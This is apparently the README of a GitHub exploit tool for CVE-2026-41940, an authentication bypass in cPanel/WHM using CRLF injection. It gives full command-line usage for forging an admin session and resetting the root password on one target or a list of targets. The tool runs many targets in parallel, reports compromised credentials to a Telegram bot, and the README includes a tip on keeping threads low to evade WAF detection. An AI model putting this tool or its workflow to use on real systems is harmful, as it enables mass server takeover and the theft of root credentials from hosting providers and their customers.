dennisec/cve-2026-41940Exploit script for CVE-2026-41940, an authentication bypass in cPanel/WHM using CRLF injection to gain admin access and change root password, with multi-threaded scanning and Telegram notifications.
CVE-2026-41940 – cPanel/WHM Auth Bypass + Root Password Changer This script exploits an authentication bypass vulnerability in cPanel/WHM (CVE-2026-41940) using a CRLF injection technique to forge an administrator session. Once successful, the script can change the root user's password in WHM and send notifications via Telegram.
Warning: Use only for security testing on systems you own or have written permission to test. Misusing this script for illegal access violates the law.
📦 Dependency Installation (PIP) This script requires Python 3.6+ and two external libraries. Run the following command:
pip install requests urllib3 requests – for sending flexible HTTP requests
urllib3 – used to disable SSL warnings (self‑signed certificates)
Other libraries (argparse, json, re, threading, concurrent.futures, etc.) are already available in Python's standard library.
🚀 Usage
(Optional) If you want Telegram notifications, edit the two lines in the HARDCODE TELEGRAM section inside the script:
python TELEGRAM_BOT_TOKEN = 'token_bot_dari_BotFather' TELEGRAM_CHAT_ID = 'chat_id_anda_atau_group' Leave them as is (: and -) if you don't want notifications.
Basic Syntax bash python cve-2026-41940.py --target https://ip:2087 --password root123 python cve-2026-41940.py --targets-file targets.txt --password rahasia --threads 20 --output hasil.json python cve-2026-41940.py --target https://ip:2087 --check-only
Available Arguments Argument Required? Description --target one of Single target, e.g. https://192.168.1.100:2087 or 192.168.1.100 (default port 2087) --targets-file one of Text file containing a list of targets (one per line, ip:port format or full URL) --password if not --check-only New password for the WHM root user --check-only no Only check whether the target is vulnerable, without changing the password --threads no (default 10) Number of threads for parallel execution --timeout no (default 15) HTTP connection timeout (seconds) --output no Save results (JSON) to a file Note: Port 2087 for WHM (SSL) will be added automatically if not specified.
Usage Examples Check a single target for vulnerability (test only):
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --check-only Exploit and change the root password to p4ssw0rd!:
bash python cve-2026-41940.py --target https://203.0.113.10:2087 --password p4ssw0rd! Scan multiple targets from list.txt with 20 threads, save results to sukses.json:
bash python cve-2026-41940.py --targets-file list.txt --password MyNewPass123 --threads 20 --output sukses.json Example contents of list.txt:
text 192.168.1.1:2087 https://cpanel.example.com 203.0.113.99 5. Output & Notifications Each target's status will be printed to the screen: [+] success, [-] failed, [!] error, [*] processing.
If --output is included, all results will be saved in JSON format.
If Telegram credentials are filled in, a successful exploit will send a message like:
text ✅ SUCCESSFUL EXPLOIT ✅ ┌ Target: 203.0.113.10:2087 ├ Username: root ├ Password: MyNewPass123 ├ WHM Version: 122.0.19 └ Time: 2025-03-20 10:15:30 UTC ⚙️ Brief How It Works Pre‑auth – Sends a failed login to obtain the whostmgrsession cookie.
CRLF Injection – Adds a Basic payload to the Authorization header to inject a fake session line.
Propagation – Accesses /scripts2/listaccts to confirm the vulnerability can be exploited.
Verification – Calls json-api/version; if successful, it can access WHM as root.
Change Password – Calls the passwd API with the user=root parameter and the new password.
Notification – Sends the result to Telegram (if the token is filled in).
⚠️ Important Notes The script does not directly detect the cPanel/WHM version, but will display the version if available.
Some targets may have mod_security or a WAF that blocks the payload. Use a not-too-high --threads value to avoid detection.
Always use with permission and moral responsibility.
Author: dennisec (github.com/dennisec) License: Educational use only
